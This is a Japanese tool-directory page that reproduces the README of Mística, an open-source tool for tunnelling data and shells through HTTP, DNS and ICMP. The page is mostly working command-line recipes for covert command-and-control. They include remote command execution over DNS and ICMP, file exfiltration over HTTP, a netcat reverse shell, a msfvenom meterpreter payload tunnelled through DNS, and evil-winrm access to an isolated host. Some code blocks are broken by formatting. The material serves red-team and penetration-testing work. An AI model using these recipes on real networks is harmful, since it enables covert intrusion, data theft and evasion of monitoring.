Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/incidedigital/mistica
データ流出ウェブセキュリティネットワークセキュリティペネトレーションテストコマンド&コントロールレッドチーミングDNS分析
GitHubincidedigital/mistica

Mistica

アプリケーションプロトコルを介した任意の通信のためのオープンソースのスイスアーミーナイフ

リポジトリを見る
2454955年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Mística

Mística ロゴ
Mística ロゴ 作成 JoelGMSec

Mística は、アプリケーション層プロトコルのフィールドにデータを埋め込み、任意の通信のための双方向チャネルを確立することを目的としたツールです。 現在、HTTP、HTTPS、DNS、ICMP プロトコルへのカプセル化が実装されていますが、近い将来さらに多くのプロトコルが導入される予定です。

Mística は、SOTP (Simple Overlay Transport Protocol) と呼ばれるカスタムトランスポートプロトコルを中心に構築されたモジュラーデザインを採用しています。データは暗号化され、チャンク化されて SOTP パケットに格納されます。SOTP パケットはエンコードされ、アプリケーションプロトコルの目的のフィールドに埋め込まれて、もう一方の端に送信されます。

SOTP レイヤーの目標は、最小限のオーバーヘッドで汎用的なバイナリトランスポートプロトコルを提供することです。SOTP パケットは、正当なアプリケーションプロトコルに簡単に隠蔽または埋め込むことができます。また、SOTP はパケットが相手に確実に届くようにし、RC4 を使用してデータを暗号化し(将来変更される可能性があります)、ポーリングメカニズムを使用して情報が双方向に透過的に流れるようにします。

モジュールはさまざまな目的で SOTP レイヤーと対話します。

  • ラップモジュール(ラッパー): これらのモジュールは、SOTP パケットをアプリケーション層プロトコルとの間でエンコード/デコードします。
  • オーバーレイモジュール: これらのモジュールは SOTP チャネル上で通信します。例としては、IO リダイレクション(netcat のような)、シェル(コマンド実行)、ポートフォワーディングなどがあります。

ラッパーモジュールとオーバーレイモジュールは連携してカスタムアプリケーションを構築します。例: DNS 経由の入力リダイレクションや HTTP 経由のリモートポートフォワーディング。

Mística のモジュラーデザインにより、新しいモジュールの開発が容易になります。また、ユーザーは既存のモジュールを簡単にフォークして、カスタムフィールドやエンコーディングを使用したり、オーバーレイモジュールの動作を変更したりできます。

主なソフトウェアは2つあります。

  • Mística サーバー (ms.py): 目的のアプリケーション層プロトコル(HTTP、HTTPS、DNS、ICMP...)のサーバーとして機能するモジュールを使用します。また、ms.py の単一インスタンスで複数のサーバー、ラッパー、オーバーレイを同時に実行できるように設計されていますが、この機能はまだ完全には実装されていません。
  • Mística クライアント (mc.py): 目的のアプリケーション層プロトコル(HTTP、HTTPS、DNS、ICMP...)のクライアントとして機能するモジュールを使用します。同時に1つのオーバーレイと1つのラッパーのみを使用できます。

デモ

以下の プレイリスト で Mística のデモをご覧いただけます。

依存関係

このプロジェクトの依存関係は非常に少ないです。現在:

  • Mística クライアントには Python 3.7 以降が必要です
  • Mística サーバーには Python 3.7 以降と dnslib が必要です。``` python3.7 -m pip install pip --user pip3.7 install dnslib --user
root@kitploit:~
Pythonをシステムにインストールしたくない場合は、以下のポータブル版のいずれかを使用できます:

- https://www.anaconda.com/distribution/#download-section (Windows、Linux、macOS対応)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (Windowsのみ)

## 現在のモジュール

オーバーレイモジュール:

- `io`: 標準入力から読み取り、SOTP接続経由で送信。SOTP接続から読み取り、標準出力に出力
- `shell`: SOTP接続経由で受信したコマンドを実行し、出力を返す。ioモジュールと互換性あり
- `tcpconnect`: TCPポートに接続。ソケットから読み取り、SOTP接続経由で送信。SOTP接続から読み取り、ソケット経由で送信
- `tcplisten`: TCPポートにバインド。ソケットから読み取り、SOTP接続経由で送信。SOTP接続から読み取り、ソケット経由で送信

ラップモジュール:

- `dns`: 異なる方式でDNSクエリ/レスポンスのデータをエンコード/デコード
- `http`: 異なる方式でHTTPまたはHTTPSリクエスト/レスポンスのデータをエンコード/デコード
- `icmp`: ICMPエコーリクエスト/レスポンスのデータ部でデータをエンコード/デコード

## 使用方法

`ms.py`: Mística サーバー

ヘルプメッセージは以下のようになります:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Mística Serverには2つの主要なモードがあります:

  • シングルハンドラモード: ms.pyがパラメータ付きで起動されると、1つのオーバーレイモジュールが1つのラッパーモジュールと対話できるようになります。
  • マルチハンドラモード: (未公開)ms.pyがパラメータなしで実行されると、ユーザーはインタラクティブコンソールに入り、複数のオーバーレイモジュールとラッパーモジュールを起動できます。これらのモジュールは、いくつかの制限付きで相互に対話できます。

mc.py: Místicaクライアント

ヘルプメッセージは次のようになります:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

root@kitploit:~
### パラメータ

- `-l, --list` は、`all` モジュールを一覧表示するか、1つのタイプ(`overlays` または `wrappers`)のみを一覧表示するか、`-o`、`-w`、`-s` を通じて特定のモジュールが受け入れ可能なパラメータを一覧表示するために使用されます。
- `-k, --key` は、オーバーレイ通信を暗号化するために使用する鍵を指定するために使用します。これはクライアントとサーバーで同じである必要があり、現在は必須です。将来的に秘密分散スキームが実装されれば変更される可能性があります。
- `-m, --modules` は、使用するモジュールペアを指定するために使用します。次の形式を使用する必要があります:**overlay_module** + **:** + **wrap_module**。このパラメータも必須です。
- `-w, --wrapper-args` を使用すると、ラップモジュールの特定の設定を指定できます。
- `-o, --overlay-args` を使用すると、オーバーレイモジュールの特定の設定を指定できます。
- `-s, --wrap-server-args` は `ms.py` にのみ存在します。これにより、ラップサーバーの特定の設定を指定できます。各ラップモジュールはラップサーバーに依存しており、両方の設定を調整できます。

## 使用例と高度な使い方

> モジュールの受け入れ可能なパラメータはすべて、`-l <module_name>`(例:`./ms.py -l dns`)と入力することで確認できることを忘れないでください。また、通信を保護するために、長く複雑な鍵を使用することを忘れないでください!

### HTTP

HTTPカプセル化のさまざまな方法を説明するために、すべての例でIOリダイレクションオーバーレイモジュール(`io`)を使用します。

- デフォルトURIでb64エンコーディングを使用したHTTP GETメソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey"`
- デフォルトURIでb64エンコーディングを使用したHTTP GETメソッド。**IPアドレスとポートを指定**。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- **カスタムURI**でb64エンコーディングを使用したHTTP GETメソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- **カスタムヘッダー**でb64エンコーディングを使用したHTTP GETメソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- デフォルトフィールドでb64エンコーディングを使用したHTTP **POST**メソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- **カスタムヘッダー**でb64エンコーディングを使用したHTTP **POST**メソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- **カスタムフィールド**でb64エンコーディングを使用したHTTP **POST**メソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- **カスタムフィールド、カスタムパケットサイズ、カスタムリトライ、カスタムタイムアウト、IPとポート指定**でb64エンコーディングを使用したHTTP **POST**メソッド:
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- **カスタムエラーテンプレート**を使用し、**カスタムフィールド**でb64エンコーディングを使用したHTTP **POST**メソッド。localhostとポート8080(デフォルト値)を使用。
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- **カスタムHTTPレスポンスコード**を使用し、デフォルトURIでb64エンコーディングを使用したHTTP GETメソッド。localhostとポート8080(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 443ポートを使用し、デフォルトURIでb64エンコーディングを使用したHTTPS GETメソッド。sslオプションを使用するにはMística サーバーで証明書を生成する必要があります。Mística クライアントはsslフラグを受け取るだけで済みます:
  - Mística サーバー:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- Mística クライアントでプロキシサーバーを使用し、デフォルトURIでb64エンコーディングを使用したHTTP GETメソッド(HTTP通信が必ず企業プロキシを通過する必要がある環境で使用可能。コンピューター設定では指定されていない場合)。以下の例をBurpsuiteでテスト:
  - Mística サーバー: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Mística クライアント: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

DNSカプセル化のさまざまな方法を説明するために、すべての例でIOリダイレクションオーバーレイモジュール(`io`)を使用します。

- TXTクエリ。localhostとポート5353(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey"`
- NSクエリ。localhostとポート5353(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAMEクエリ。localhostとポート5353(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MXクエリ。localhostとポート5353(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOAクエリ。localhostとポート5353(デフォルト値)を使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXTクエリ。localhostとポート5353(デフォルト値)を使用し、**カスタムドメイン**:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Mística クライアント:
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXTクエリ。ポートとホスト名を指定:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXTクエリ。複数のサブドメインを使用:
  - Mística サーバー: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística クライアント: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

Linuxカーネルは、icmpエコー要求パケットを受信すると、デフォルトで自動的にicmpエコー応答パケットで応答します(応答するオプションはありません)。そのため、クライアントから送信されたデータとは異なるデータを含む独自のパケットを送信できるようにするには、icmp応答を無効にする必要があります。これを行うには、次のようにします。

カーネルによる自動icmp応答を無効にする(*root権限が必要*)には、`/etc/sysctl.conf`ファイルを編集します。

- 以下の行を /etc/sysctl.conf に追加します。```
net.ipv4.icmp_echo_ignore_all=1
  • その後、sysctl -p を実行して有効にします。

ここでは、ICMPカプセル化のさまざまな方法を示すために、すべての例でIOリダイレクションオーバーレイモジュール(io)を使用します。

  • ICMPデータセクション、インターフェースeth0を使用:
    • Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística Client: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

シェルとIO

io モジュールと shell モジュールを組み合わせることで、místicaを介したカスタムチャネル上でリモートコマンド実行が可能です。例:

  • DNSのTXTクエリを使用してクライアントシステム上でコマンドを実行。

    • Mística Server: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
    • Mística Client: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
  • HTTPのGETリクエストを使用してサーバーシステム上でコマンドを実行:

    • Mística Server: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
    • Mística Client: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
  • ICMPを使用してクライアントシステム上でコマンドを実行:

    • Mística Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística Client: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
  • IOモジュールとリダイレクト演算子を使用してHTTP経由でファイルを流出:

    • Mística Server: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
    • Mística Client (cmdから実行することが重要): type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv

tcpconnect と tcplisten を使用したポートフォワーディング

  • HTTP経由のリモートポートフォワーディング(サーバーから見た場合)。クライアント上のアドレス 127.0.0.1:4444 がサーバー上のアドレス 127.0.0.1:5555 に転送されます。5555 では既に何かが待ち受けている必要があります。
    • Mística Server: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística Client: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • DNS経由のローカルポートフォワーディング(サーバーから見た場合)。サーバー上のアドレス 127.0.0.1:4444 がクライアント上のアドレス 127.0.0.1:5555 に転送されます。5555 では既に何かが待ち受けている必要があります。
    • Mística Server: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Mística Client: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

ローカル使用のためにDockerイメージが作成されています。これにより、ツールをテストするためだけにPythonやdnslibをインストールする必要がなくなります。また、他のローカルアプリケーションによって生成されるノイズを回避できるため、デバッグなどにも非常に便利です。イメージをビルドするには、次の手順に従うだけです:

  • 最初に以下のコマンドでイメージをビルドします:``` sudo docker build --tag mistica:latest .
root@kitploit:~
* 次に、ネットワークを作成します:```
sudo docker network create misticanw
  • 3番目に、サーバーを実行:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
root@kitploit:~
* 4回目:クライアントを実行します:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

コンパイル方法

MísticaはPythonで開発されたツールであり、理論的にはコンパイルが可能です。

ツールのコンパイルにはPyinstallerを使用します。このツールを使用すると、使用しているオペレーティングシステムに応じたバイナリを生成できます。つまり、C、C++、Golang、Rustなどの他の言語のようにクロスコンパイルはできません。この問題を解決する方法を研究中ですが、とりあえず、任意のオペレーティングシステムでMísticaをコンパイルできるPyinstallerコマンドを以下に示します。

Misticaクライアントのコンパイル

Místicaクライアントは依存関係がないため、Pyinstallerで直接コンパイルできます。コンパイルするには以下の手順に従ってください。

  • まず、Python3.7以上用のpyinstallerをインストールします:``` python3.7 -m pip install pyinstaller --user
root@kitploit:~
* そして、次のコマンドでMística Clientをコンパイルしてください:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Mística Server のコンパイル

Mística Server をコンパイルするには、Pip を使用して Dnslib ライブラリをグローバルにインストールする必要があります(これは Mística の唯一の依存関係であり、Mística Server のみに必要です)。これを行うには、以下の手順に従ってください:

  • まず、Windows、Linux、または Mac システムに Python3.7 以上をインストールします。
  • 次に、Pip を使用して Dnslib ライブラリをインストールします: pip install dnslib("--user" フラグを付けないでください。これによりシステム全体にインストールされます。そうしないと、pyinstaller が隠しインポートとして追加できません。この手順には管理者権限が必要です)
  • 第三に、Pip を使用して Pyinstaller ライブラリをインストールします: pip install pyinstaller。
  • そして第四に、以下のコマンドで Mística Server をコンパイルします:``` pyinstaller --onefile
    --hiddenimport overlay.client.io
    --hiddenimport overlay.client.shell
    --hiddenimport overlay.client.tcpconnect
    --hiddenimport overlay.client.tcplisten
    --hiddenimport wrapper.client.http
    --hiddenimport wrapper.client.dns
    --hiddenimport wrapper.client.icmp
    --hiddenimport overlay.server.io
    --hiddenimport overlay.server.shell
    --hiddenimport overlay.server.tcpconnect
    --hiddenimport overlay.server.tcplisten
    --hiddenimport wrapper.server.wrap_module.http
    --hiddenimport wrapper.server.wrap_module.dns
    --hiddenimport wrapper.server.wrap_module.icmp
    --hiddenimport wrapper.server.wrap_server.httpserver
    --hiddenimport wrapper.server.wrap_server.dnsserver
    --hiddenimport wrapper.server.wrap_server.icmpserver
    --hiddenimport dnslib
    ms.py
root@kitploit:~
## 将来の作業

- ターゲットオペレーティングシステムから行う必要なく、Misticaを異なるオペレーティングシステム向けにコンパイルできるようにするクロスコンパイル手法
- SOTPプロトコルの透過的Diffie-Hellman鍵生成
- マルチハンドラーモード: `ms.py`のインタラクティブモード。これにより、ユーザーは複数のオーバーレイ、複数のラッパー、複数のラップサーバーごとの複数のラップモジュールを組み合わせることができます。
- カスタムモジュール開発のためのモジュール開発ドキュメント。これは現在推奨されていません。モジュール仕様はまだ開発中です。
- 次のモジュール:
    - SMBラッパー
    - RATおよびRATハンドラーオーバーレイ
    - SOCKSプロキシと動的ポート転送オーバーレイ
    - ファイル転送オーバーレイ
    - RDPラッパー
- より複雑なカプセル化のためのカスタムHTTPテンプレート
- カスタムクライアントまたはサーバーのためのSOTPプロトコル仕様ドキュメント。これは現在推奨されていません。プロトコルはまだ開発中です。

## 著者とライセンス

このプロジェクトはCarlos Fernández SánchezとRaúl Caro Teixidóによって開発されました。コードはGNU General Public License v3の下で公開されています。

このプロジェクトは、特に以下のサードパーティのオープンソースコードを使用しています:

- Scott Griffithsによって開発された[Bitstring](https://github.com/scott-griffiths/bitstring)
- David Buchananによって開発された[A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4)
- Vlad Vitanによって開発された[依存関係のないDNSクライアント](https://github.com/vlasebian/simple-dns-client)
- Raul Caroによって開発された[依存関係のないICMPサーバーとクライアント](https://github.com/rcaroncd/ICMPack/)
ツールをダウンロード
  • Linuxクライアント上のnetcatを使用したHTTPリバースシェル。
    • Netcat Listener (on server): nc -nlvp 5555
    • Mística Server: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística Client: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
    • Netcat Shell (on linux client): ncat -nve /bin/bash 127.0.0.1 4444
  • ポートフォワーディングを使用したDNS経由の meterpreter_reverse_tcp(Linux)の実行。ペイロードは msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin で生成されました。
    • サーバー上で msfconsole を実行し、handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555 でハンドラを起動します。
    • Mística Server: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
    • Mística Client: ./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Run meterpreter on client: ./meterpreter_reverse_tcp_localhost_4444.bin
  • ジャンピングマシンを使用して隔離されたマシンにアクセスするICMP経由の EvilWinrm。
    • Mistica Server: ./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
    • Mistica Client: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
    • EvilWinrmコンソール(C2マシン上):evil-winrm -u Administrador -i 127.0.0.1 -P 5555